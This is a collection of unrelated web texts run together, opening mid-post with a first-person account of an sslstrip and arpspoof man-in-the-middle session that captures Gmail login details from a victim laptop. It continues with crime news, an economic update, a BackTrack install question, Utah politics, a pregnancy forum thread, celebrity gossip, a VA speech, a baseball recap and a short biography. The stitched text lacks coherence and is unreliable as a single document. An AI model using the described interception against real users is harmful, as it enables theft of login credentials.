I then stopped the sslstrip session by entering ^C and then viewed the logfile which had all the correct info in it. I then shut down the attacker machine without killing any other processes (such as arpspoof), and put the victim laptop into sleep.
Later, I tried to repeat the exercise, but it didnt work. On the victim machine, I was getting https login page with gmail, whereas in the first attempt it was http. Secondly, the logfile was empty. I tried several times since then, and rebooted the router, but still no luck.
I figured it out. I needed to run "iptables --flush" at the root.


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BARSTOW - A Barstow man referred to by prosecutors as a violent sexual predator was sentenced Monday to 30 years in state prison for molesting seven of his female relatives, who ranged in age from 5 to 10 years old, according to the San Bernardino County District Attorney's Office.
Scott Christopher Johnson, 41, was sentenced before Judge Miriam I. Morton in Barstow Superior Court after pleading guilty on Dec. 4 to three counts of committing lewd act on a minor by force, according to prosecutors.
Online court records show Johnson's guilty plea was part of a plea bargain on Dec. 4. He received credit for about a year of time already served, court records state.
Johnson's wife, Mioshi Tikia Johnson, was also sentenced Monday to five years and eight months in state prison for her role in the case. Mioshi Johnson pleaded guilty on Dec. 4 to two counts of felony child abuse as part of a plea bargain.
Court records show Mioshi Johnson received credit for 684 days, or almost two years, already served.
"Scott Johnson is a horrible person who did horrible things to children," said Deputy District Attorney Shannon Faherty, in a statement posted to her office's Facebook page. "But in this case, I am also very satisfied with Mioshi Johnson going to state prison. She knew the things that were going on under their roof and she did nothing to protect the children.
"Someone who makes a decision to turn a blind eye while our most vulnerable victims fall victim to predators like her husband should not get a pass," Faherty continued.
Reach Doug via email, call him at 909-386-3925, or find him on Twitter @crimeshutterbug.


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Weekly Economic Update: January 14-18, 2013
Industrial production was up 0.3% in December. Retail sales rose 0.5% in December. The topline PPI fell 0.2% in December as the topline CPI was unchanged. Housing starts increased 12.1% in December as building permits were flat. Business inventories rose 0.3% in November. Initial jobless claims fell 37,000 to 335,000 for the week ended 1/12.
• Industrial production edged up 0.3% in December.
• Retail sales increased 0.5% in December. Excluding autos, sales were up 0.3%.
• The topline producer price index fell 0.2% in December. The core PPI increased 0.1%.
• The topline consumer price index was unchanged in December. The core CPI increased 0.1%.
• Housing starts shot up by a greater-than-expected 12.1% in December, to an annual pace of 954,000 units.
• Building permits were essentially flat in December at an annual pace of 900,000 units.
• Business inventories increased 0.3% in November.
• Initial jobless claims unexpectedly dropped 37,000 to a level of 335,000 for the week ended January 12th.


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I have a problem when installing BT 5. I tried to install it from DVD (for dual boot) but when I start up Live enviroment it's so much lagging. Anyway I managed to install it and I was thought that it may be caused by the DVD (slow speed, blabla) but it wasn't. It was kind of weird because right after the gnome boot it was looking fine for like 10 secs but then the whole GUI lags. When I'm writing in terminal it's okay but when I'm trying to open something or when using the menus it's madness or moving a window (GPU not working properly?). And CPU is still loaded about 90%. I installed back BT 4 which is working fine. I'm a beginner with linux so I have no idea :/. Thanks for any help.
Installed BT 5 32bit (Gnome) and 64bit aswell, same problems, both EXT 4 (15 GB) with 2.5 GB swap.
Asus N51vn
C2D P8700, 2.53 GHz
nVidia GT240M 1GB


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Provo Mayor John Curtis, concerned about stories he had heard of predatory towing, recently asked on his blog for examples of unreasonable practices by tow-truck companies that he could take to the City Council.
That was on a Monday at 7 a.m. By Tuesday at 3 p.m., when the council meeting began, he had 700 nightmarish yarns about predatory tow-truck operators.
Then Curtis' sister-in-law, former state Rep. Trisha Beck, complained last week to Sandy City after a guest at a dinner party she was hosting couldn't drive up steep, snowpacked 9000 South, even with assistance from a police officer. So she left her car in a store parking lot and had her son take her to the party.
The car was towed, and she had to fork over cash to get it back, even though the no-parking signs were covered with snow and the lot was nearly empty on a Sunday night.
"We have tried to negotiate with businesses and have gotten them to post more and larger signs so people know of parking restrictions," said Sandy spokeswoman Nicole Martin. "But because [they are] private property, our hands are tied."
Curtis said the problem stems from the high fines that tow-truck companies can levy against drivers who park in no-parking areas in private lots. The state, whose laws are tilted in favor of property owners and tow-truck operators, allows a $145 charge for the tow, plus gas and other expenses.
"That usually puts it over $200," said Curtis, "when a parking ticket on a city street will cost only $15 to $20. The punishment doesn't fit the crime."
Rep. Keven Stratton, R-Orem, is preparing a bill that would let cities establish the minimum tow charge instead of the state. Curtis, who is working with Stratton on the measure, says cities would be inclined to set much lower fees.
Stratton's bill also would give cities the leeway to set ordinances on the number and size of no-parking signs in parking lots, establish a car owner bill of rights, provide for alternate means of payment besides cash and spell out a minimum amount of time a car can be parked before it is towed.
Stratton said his intent is to let cities establish ordinances that best fit their area within the parameters of state law.
Curtis also would like the towing decision to come from the property owner rather than the tow company, which has a financial incentive to haul away.
"We want to make sure the property owner actually needs the car to be towed," he said.
Off with their heads • When Utah's Republican-dominated House Government Operations Committee shot down Democratic Rep. Patrice Arent's HB258, which was aimed at eliminsting the straight-party-ticket option on ballots, most foes gave reasoned explanations for their opposition, mainly that the current system works fine.
But Rep. Mike Noel, R-Kanab, gave a more twisted argument. He voted against the bill because all those who supported it are unethical. He also spun the issue into a personal vendetta.
"I am not convinced by the supporters who supposedly had ethics behind their name and took me on on the Hatch Act," Noel said. "The people who support [the bill] are really not ethical themselves."
Groups supporting Arent's bill included Utahns for Ethical Government, the Alliance for a Better Utah, Represent Me Utah, a student-body officer from the University of Utah and a Salt Lake County elections officer.
An evil bunch if there ever was one.
Noel apparently was upset that the left-leaning Alliance for a Better Utah filed a complaint in 2011 alleging he violated the federal Hatch Act, which bars individuals from managing federal funds while being a candidate for a partisan political office. Noel was director of the Kane County Water Conservancy District, which received $5 million in federal funds through loans and grants.
Location, location, location • A man was spotted last week standing on the Interstate 80 exit at 1300 East, a common spot for panhandlers. He was holding a cardboard sign that said: OBAMA GAVE ME THIS JOB.
He needs to better understand his audience. He was in more-liberal Sugar House, and nobody seemed interested in handing him a buck.
Now, if he had that sign in, say, Provo, or St. George, or Herriman, or Logan, he might have made a bundle.


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12th August 2012 08:32 PM #1
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body odor during pregnancy
hello, i'm 32 years old and 4 months pregnant right now. i've noticed that since i got pregnant, my body odor got worst. i'm not used in putting on deodorants and it annoys me that even after i've taken a shower, i will begin to stink again after 30 minutes or so. is it normal for pregnant women to smell like that? what can i do to prevent this naturally?
26th August 2012 12:03 PM #2
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Hi iyah80,
This is actually a question I've wanted to get to since you posted it. I apologize for the late response.
Body odor can get worse when you're pregnant especially if you live in an area that is hot and/or humid because progesterone levels are high in your body in order to sustain your pregnancy. Progesterone raises your body temperature which means you may find yourself sweating more than normal.
So what can you do to naturally prevent body odor? One thing is to use a natural product under your arms to combat bacteria (which is what creates the bad odor).
I use baking soda mixed with water. Baking soda is also known as bicarbonate of soda. I just put a pinch in my hand, and then sprinkle a few drops of water on it and mix together in the palm of my hand.
Then I rub this damp solution under my arms to help reduce the bacterial growth. I found that if this mixture is more like a paste, that I actually react to it and get a rash, and if you can't see any white (mostly water) that it still works (but not as well) and I can use it every day.
If I know I'm going to be nervous about something then I put on a chemical based deodorant that I know will work well, but that's only every once in awhile.
Another thing you can do is to be sure you're eating plenty of deep green leafy vegetables or taking liquid chlorophyll as a supplement. This will help ensure that you're getting enough iron during your pregnancy and it will give you lots of good nutrients. On top of that, chlorophyll is a natural deodorizer and I'm sure it would help you.
Spinach, kale, dark leafy green lettuces are all very good and can easily be added to a fruit smoothie which you could drink multiple times a day.
Hope this helps.
Warm regards,
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thanks for the advice kate.
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You're very welcome. Please post back and let us know what you try and how it works, or if you need more ideas.
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PARAMOUNT -- A hit-and-run driver who struck a 14-year-old Paramount boy and left him for dead earlier this month remains at large and Sheriff's investigators asked for the public's help Wednesday in finding the culprit.
The fatal crash occurred at about 5 p.m. Dec. 13 when the victim, Calvin Joseph Charles, was hit by a pickup as he tried to cross Alondra Boulevard at Hunsacker Avenue, said Los Angeles County Sheriff's Lt. Dan Beringer.
The victim was a freshman at Dominguez High School in Compton, Beringer said.
Witnesses said the driver slowed to a stop after hitting the teen, then sped away, fleeing west on Alondra. The truck was described as a small white pickup and may have visible front end damage, the lieutenant noted.
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Jason Momoa Gossip
Jason Momoa gossip, latest news, photos, and video.
Aqua Drogo
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Back when Ben Affleck was named as the new Batman, there was a rumor—that sounded more like wishing, really—that Matt Damon could be on board to play the most laughable of all superheroes, Aquaman. It was the latest in a succession of Aquaman rumors, and if you're wondering why people keep talking up this guy Full Story
Hottest couple in a cave
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Lisa Bonet and Jason Momoa were at the Bronson Caves yesterday to promote The Red Road. I try not to pass up any opportunity to post photos of them together. Because…hot. The last time I wrote about Momoa he was being kissed by a woman some say was his ex-fiancee. Click here Full Story
A friendly kiss
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Check out Jason Momoa at a party the other day in LA kissing a woman believed to be his ex-fiancee Simmone Jade Mackinnon. Everyone is saying up and down that they're "just friends". OK. I don't want to dispute that. What I'd like to discuss is whether or not if you saw your husband/wife/lover/whatever in a photo like this, would that just roll off you, no problem? At a certain point, when you commit to being with someone who looks the way Jason Momoa looks, I wonder if you just have to deal. Full Story
Khal Drogo vs. Batman vs. Superman
One of my favorite new video games this year is Injustice: Gods Among Us, which is a fighting game that pits all of DC Comics' best superheroes and villains against each other. It's a solid game, with decent graphics (characters look GREAT but the backgrounds get a little muddy), and slick mechanics and, well, if you've ever wanted to watch Batman curb-stomp Superman, this is the game for you. Full Story
How Khal Drogo looks like Khal Drogo
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Which is...HOT. I think he might be in that new Sly Stallone movie? Bullet To The Head? Anyway, he's been doing some press in New York. God that is something to look at. What's his secret? As he told TMZ: I f-ck a lot. Lisa Bonet only? PS sorry it ended up being so light today. Full Story
Conan Family Portrait
Conan the Barbarian premiered in LA last night. Jason Momoa was accompanied on the carpet by Lisa Bonet, mother of his two children, and her first child Zoe Kravitz. Please. He is a beast. And Denise Huxtable certainly has a standard. Like, she may be a little like Leonardo DiCaprio that way. She strictly dates hot guys. Full Story
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That is a hat box, right? Jason Momoa arrived at LAX yesterday, in one hand a pillow, in the other a hatbox which...to me this is amazing. That he wanted to wear a hat so badly on his flight but didn't want to get it crushed during the flight so he went to the trouble to carry a hat box. I've flown with a hat before. Full Story
How do you say "I'll miss you" in Dothraki?
Am home in Vancouver now, finally had a chance to watch the Game of Thrones season finale. SPOILER ALERT...................... ..................................... ..................................... ..................................... ..................................... As expected, the Khaleesi must go on without Khal Drogo. Full Story
Game of Thrones at Comic-Con
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Jason Momoa, one of the tallest cast members, if not the tallest, of the Game of Thrones showed up with his girlfriend Lisa Bonet at a fundraiser in Venice, CA a few days ago. The shortest member of the Game of Thrones cast spent the Memorial Day weekend in New York with his girlfriend and his dog. Here's Peter Dinklage with a bandana holding back his hair in Manhattan yesterday. Full Story


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The library's Genealogy Department has an excellent collection of online, print, microfilm, and microfiche materials dealing with the history of Coffee and surrounding counties. The bulk of the collection is housed at the Douglas-Coffee County branch.
Many of the resources may be accessed through the library catalog; however, print, microfilm, and microfiche materials are reference only and must be used in the Genealogy Department.
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Office of Public and Intergovernmental Affairs
Remarks by Secretary Eric K. Shinseki
Veterans of Foreign Wars Legislative Conference
Arlington, VA
March 7, 2011
Commander-in-Chief Richard Eubank, thank you for that kind introduction, and for the invitation to join you this morning. Let me acknowledge other members of VFW's leadership and your special guest:
Gwen Rankin, VFW auxiliary Senior Vice-President: Our thoughts and prayers are with [Auxiliary President] Cortina Barnes and her family at the time of their family's loss; National Veterans Service Director Bill Bradshaw: It's good to have you back; Bob Wallace, Executive Director; and Gunner Kent, National Adjutant.
Your special guest: Senator Tim Johnson (D-SD). Congratulations, Mr. Chairman, on the recognition you are receiving this morning—testament not only to your enduring commitment to Veterans, but also to your inspiring leadership as Chairman of the Senate Appropriations Subcommittee on Military Construction and Veterans Affairs.
Other distinguished guests, fellow Veterans, ladies and gentlemen:
I'm honored to be here. With your help and support, 2010 was a good year for Veterans. For two years now, we have been focusing VA on three fundamental behaviors and three key priorities to make us better at serving Veterans.
Three behaviors:
- People-centric: We serve Veterans, and people count. They must be properly trained, have the right attitudes, and enjoy inspiring leadership.
- Next, results-oriented: We must be able to measure return on any investments we make. If we can't measure, we won't invest.
- Finally, forward-looking: We look out five years to envision VA in terms of training, equipment, and leadership in order to better serve Veterans.
The three key priorities are ones we have been describing for two years now: increase Veteran access to VA benefits and services, reduce and ultimately eliminate the backlog in disability claims, and finally, end Veterans homelessness by 2015.
Three fundamental behaviors: people-centric, results oriented, forward-looking; and three key priorities: access, backlog, homelessness. We have momentum in each of these initiatives and expect to see major deliverables over the next two years.
On 14 February, President Obama submitted his 2012 budget and 2013 advance appropriations requests, and in doing so, kept his promise to care for those who have safeguarded this Nation. His budget requests $132.2 billion in 2012—$61.9 billion in discretionary funding and $70.3 billion in mandatory funding. Our discretionary budget request represents an increase of $5.9 billion, or 10.6 percent, over the 2010 enacted budget.
While each document—budget request and advance appropriations request—is important enough on its own, taken together, they are powerful in terms of energy, opportunity, and continuity—thanks to Congress's granting the advance appropriations authority on which you worked so hard. While VBA (benefits) and NCA (cemeteries), like other departments and agencies all across government, are dealing with a continuing resolution, VHA is fully funded to deliver healthcare to Veterans throughout 2011.
It's often noted that less than one percent of Americans serve in our military. Those who do—great young men and women like Chairman Johnson's son, Sergeant First Class Brooks Johnson, South Dakota Army National Guard—allow the rest of us to do what Americans do best—and that's out-think, out-create, out-work, and out-produce the rest of the world. They help unleash our powerful economic engine, enabling us to do what we've historically done—and that's win.
Now, look—I know the economy has lost a bit of sparkle for the moment, but I trust the instincts, the energy, the creativity, and the intellect of the American people to get us back on course. President Obama has challenged us to win the future by out-innovating, out-educating, and out-building our competition, and this budget helps Veterans and VA do our part.
Today, our military remains operationally deployed in Iraq and Afghanistan—conflicts that have been underway for most of the past decade. The burden on our magnificent all-volunteer force and its families to accomplish every mission—without failure, fanfare, or complaint—has been enormous.
And as they redeploy home, shed their uniforms, and return to their communities, the Nation must find ways to offer them the opportunity to add their substantial skills, knowledge, and attributes to that powerful economic engine.
VA's mission is crucial to their transition home. As President Lincoln reminded us 146 years ago—we care for those who have "borne the battle" and for their spouses and orphans. Those requirements and responsibilities have grown as we addressed longstanding issues from past wars [Agent Orange, Gulf War Illness, combat PTSD] and watched the injuries and illnesses from the current conflicts grow significantly. These numbers will continue to rise for many years, perhaps decades, after the last American combatant departs Iraq and Afghanistan. You know this is reality because you have lived that history. We must insure that the lessons of history are not forgotten.
VA is a large organization with a correspondingly large budget and diverse and complex mission. We provide health care, disability benefits, pensions, home loans, life insurance, and educational assistance, and run the Nation's largest cemetery system, which has outperformed every other enterprise in this country for the past decade—public or private, profit or non-profit.
Some ask, "Why is the VA enterprise so large and complex? Why is the federal government doing so many things for Veterans?" Simple—because in times past, those who wore our Nation's uniforms were often unable to either acquire, or afford, these services on their own. No one would provide them. And so, VA has been missioned to deliver the promises of presidents and meet the obligations of the American people.
At present, about 8.3 million Veterans receive VA medical care and benefits. But another 22 million Veterans and 35 million spouses and adult children, who do not receive such care and benefits, still see themselves as Veterans or parts of Veterans' families, whether or not they ever visit our medical centers or apply for disability. They expect us to get things right for the Veterans we do serve.
Over the next two years, we intend to produce the following deliverables:
President Obama strongly supports ending Veteran homelessness by 2015. Six years ago, there were approximately 195,000 homeless Veterans on any given night. Today, we estimate there are about 76,000 homeless Veterans. We intend to lower this estimate to 59,000 by June of next year, and end Veteran homelessness by 2015.
The 2012 budget includes $939 million to prevent and reduce homelessness among Veterans, an increase of 17.5 percent, or $140 million over 2011.
A comprehensive review is underway to use VA's inventory of vacant or under-utilized buildings to house homeless and at-risk Veterans and their families. VA has identified 94 sites which will potentially add another 6,300 units of housing through public/private ventures using VA's Enhanced-Use Lease authority. This EUL authority is scheduled to lapse at the end of calendar year 2011, and its re-authorization by Congress is needed to continue increasing housing for homeless Veterans and their families. We are asking Congress to help us here.
The most flexible and responsive housing option remains the HUD-VASH voucher, on which we work closely with the Department of Housing and Urban Development. Both Secretary Donovan and I endorse the importance of this joint effort. HUD-VASH vouchers are our only option, at the moment, for housing Veterans with families.
Claims Backlog
In 2009, we produced 977,000 claims decisions, but took in one million claims in return. In 2010, for the first time, we produced a million claims decisions, but took in 1.2 million claims. We expect 1.45 million claims to be submitted this year and know that we will produce another record in claims decisions, but still fall short. This growth is tied, in part, to the economic downturn. The numbers are so large that merely hiring more claims processors won't allow us to dominate the growth. We must automate—and quickly. The 2012 budget request for VBA is $2 billion, an increase of $330 million, or 19.5 percent, over the 2010 budget.
These funds are needed to get us out of paper and into electronic processing, something that should have happened two decades ago. Automation alone is not enough, we must also increase accuracy: Today—84 percent; 2015—98 percent. We have a host of promising options being piloted today; we expect them to begin paying off next year, as we begin moving to fully automate the disability claims process.
The President's budget request for VBA provides $148 million to complete pilot testing and fielding of our paperless Veterans Benefits Management System (VBMS).
GI Bill
The budget request supports expanded eligibility for Post-9/11 GI Bill benefits by including non-college degree programs, such as on-the-job training, flight training, and correspondence courses. It also funds full automation of the payment process by the end of this calendar year—speeding tuition and housing payments to eligible Veterans. Through October 2010, VA issued over $7 billion in tuition, housing, and stipends to more than 423,000 student Veterans and eligible family members. When all educational initiatives are rolled together, enrollments grow to over 800,000 Veterans and family members in college. This program is working thanks to Congress's generosity.
Mental Health
This budget request seeks nearly $51 billion for medical care, including $6.2 billion for critically required mental health programs—$68 million directly to our suicide prevention initiatives, alone. Our focus is on treatment for post-traumatic stress, traumatic brain injury, and other psychological and cognitive health requirements, as well as greater collaboration between the departments of defense and VA to seamlessly provide mental health care.
In addition to these major initiatives:
- The new budget recognizes the tremendous responsibilities and financial burdens assumed by Veterans' caregivers, and provides funding for specialized training, stipends, healthcare and mental health services.
- It also invests in the healthcare needs of women Veterans, wherever they seek care.
- It provides operations and maintenance funding to NCA to establish a new standard for providing nearly 90 percent of the Veteran population a burial site within 75 miles of their homes.
- Finally, the 2012 budget request continues robust funding for the rural health initiatives we funded in 2009, 2010, and 2011, thanks to Chairman Johnson's leadership.
Let me close with a reminder about why VA must look beyond today and position itself for its responsibilities over the coming decade:
On 26 March 2010, Marine Corporal Todd Nicely, walking point for his squad near Lakari, Afghanistan, tripped a 40-pound, pressure-detonated IED [improvised explosive device], which ripped off his body armor and helmet, tore off his right leg and left hand, and ultimately cost him his left leg and right arm, as well.
Amazingly resilient through innumerable surgeries, Todd Nicely is one of our Nation's three surviving quadruple amputees from Iraq and Afghanistan. The Washington Post recently told his incredible story of survival, adjustment, love, and support—but at its core, it described a Marine with the heart of a lion.
What shines through are Todd's resilience, humility, strength of character, and an incredibly positive attitude from somewhere deep within.
"I remember screaming once or twice. You know, those blood curdling screams they do in the movies," he recounted of the moments immediately after the IED went off, "and I remember thinking to myself, 'Don't do that again, because this is the last image that these boys are going to have of you in their heads. So stay strong.' After that, I just shut up."
At their reunion at Bethesda, his 24-year-old wife, Crystal—a wonderful woman every bit as tough as her husband—asked him if he knew his legs were missing. He said he did. She then asked him if he knew that his hands were also missing. He said, "No." He was quiet for a moment, then he asked, "Did anybody else get hurt?" Crystal said, "No." His response was one word: "Good."
During an awards ceremony at Walter Reed Army Medical Center, with members of his unit present, Lieutenant Colonel McDonough, Todd's battalion commander, said that he hoped that his own children might one day have the courage of Corporal Nicely. When it was his turn to speak, Todd said simply: "I'd just like to thank everybody. I'd like to thank my platoon for getting me back. If it wasn't for you guys, I don't think I'd be alive today. Other than that, I really don't have much more to say. I love you guys."
Todd Nicely's toughness, his courage, concern for squad mates—even when his own life hung in the balance—and his quiet humility are hallmarks we have witnessed time and again amongst this generation of warriors, and warriors of previous generations. Whatever service we come from, all of us can see in Todd Nicely and his actions the essence of the Marine Corps: "Semper Fidelis."Always faithful.
You see, polytrauma was not a word until this conflict. Todd Nicely and others like him are going to need VA for a long time. We must posture VA for the future it confronts today. We must remain always faithful to the men and women who have gone into harm's way on our behalf. VFW's support has been critical to our successes.
May God bless all who serve and have served in uniform.
And may God continue to bless this wonderful country of ours.
Thank you.


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EASTON, PA. – The University of Pennsylvania baseball team defeated Lafayette, 8-1, on Wednesday afternoon at Kamine Stadium to move into the semifinals of the Liberty Bell Classic. The Quakers, who moved to 13-7 on the year, got 7.0 innings of one-run baseball from starter Cody Thomson (1-1) and a 4-for-4 day at the plate from Ryan Deitrich to get the win, the team's fourth over the Leopards in the last five days.
Pennwill face Villanova in the semifinals in the Liberty Bell Classic on Tuesday, April 2 at Meiklejohn Stadium. The other semifinal will feature Temple and Delaware.
After struggling on Sunday against Lafayette starter Ari Kaufman, Penn jumped on him for a run in the top of the first inning. Mike Vilardo started things off with a one-out walk and moved into scoring position after Kaufman caught Deitrich with a pitch. A two-out single from Spencer Branigan scored Vilardo to give Thomson a 1-0 lead as he came to the mound.
Following a quiet first inning from Lafayette, Penn came back with yet another two-out rally in the second inning, something that they've specialized in this season. Mitch Montaldo led off the frame with a single but it took a two-out single from Brandon Engelhardt to keep the inning alive and push Montaldo to second. Vilardo brought them both around to score with a double into right field. Deitrich came up next and plated Vilardo with a single over the top of the shortstop to make it a 4-0 game.
Penn's bats went quiet in the middle innings, but with Thomson shutting down the Leopards at every turn, the Quakers were never in too much danger of being overtaken. Lafayette put one on the board in the bottom of the second inning to make it a 4-1 game, but over the next three innings only put one runner on base, and that came from a Penn error. In the sixth inning, Andrew Ruck led off with a single to break Thomson's streak of seven consecutive batters retired. With one away, Thomson quickly dispatched pinch-hitter Brad Hopek, and Austin Bossart rocketed a ball down to second to get Ruck on the attempted steal, ending the inning.
A combination of aggressive hitting and sloppy defense in the seventh inning helped add on to Penn's lead, all-but-sealing the victory. Vilardo and Deitrich opened the inning with consecutive singles, then pinch-hitter Marshall Harden laid down a perfect sacrifice bunt to move them both into scoring position. Following an intentional walk to Branigan, Bossart chopped a ball to the left side of the infield, but Lafayette's second baseman Kevin Casey couldn't make the transition, dropping the ball and allowing two runs to score. Next up, Montaldo hit another grounder that the Leopards tried to turn two on, but this time the throw got past first baseman Campbell Lipe and Branigan came in to give Penn the 7-1 edge.
John Beasley came on for Thomson to begin the eighth inning and sat Lafayette down in order. The Quakers tacked on one more run in the ninth after a Deitrich triple over the head of the center fielder. A one-out Branigan single upped the lead to 8-1. Beasley remained in the contest to close it out, stranding a pair of runners with a game-ending strikeout to James McCool.
Penn enters Ivy League playriding highafter today's win. The Quakers face a big challenge right away, hosting Dartmouth (12-1) in a doubleheader on Saturday beginning at 12 p.m. The Red and Blue remain at Meiklejohn Stadium to close out the weekend, facing Harvard (3-15) in a twinbill on Sunday, once again starting at 12 p.m.


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Polymorphic light eruption on the arm
Polymorphic light eruption on the arm
The cause of polymorphous light eruption is unknown. It usually appears 1 to 2 days following exposure to sunlight and may last up to one week. It is more common during adolescence and young adulthood, and occurs more frequently in females. It appears as recurrent redness (erythematous) and/or blistered patches (plaques). It may be an inherited disease in certain Native American groups.
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ESPN's AFC West blogger, Bill Williamson, wrote a post Wednesday entitled, "Should Darren McFadden be traded." It presents McFadden's expiring contract, injury history and trade value as the team continues in rebuilding mode as reasons why it could happen. But it won't. The Raiders haven't hinted toward any such move, and why would they? As head coach Dennis Allen said, the Raiders recent offensive coaching hires were made with McFadden in mind.
"[McFadden's] most effective years have been in downhill, power scheme," Allen said. "That's why Greg Olson and Tony Sparano are here."
Fantasy Analysis:
Olson, the offensive coordinator, and Sparano, the offensive line coach, have experience running a power scheme. You know by now that McFadden's one year in a zone-blocking scheme with former OC Greg Knapp in 2012 was simply awful. The Raiders are re-installing the system that helped McFadden become one of the NFL's best players in 2010 and 2011. However, McFadden still couldn't stay healthy in those seasons. He has never stayed healthy in any season. That, regardless of Oakland's offensive philosophies, will have the most impact on where fantasy owners take McFadden in 2013. I don't think I would draft him in the first round, but he is still an RB1.


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Mitch Altman is a San Francisco-based hacker and inventor, best known for inventing TV-B-Gone remote controls, a keychain that turns off TVs in public places, he was also co-founder of 3ware (a SillyValley RAID controller company), did pioneering work in Virtual Reality at VPL Research, and created the Brain Machine, one of MAKE Magazine's most popular DIY projects. He contributes to MAKE Magazine, has written for 2600, and for the last several years has been leading workshops around the world, teaching people to make cool things with microcontrollers and teaching everyone to solder (as he does at Noisebridge every Monday night when he's in San Francisco). He is also co-founder of Noisebridge, and President and CEO of Cornfield Electronics.
Contact email: maltman23 **at** hotmail **dot** com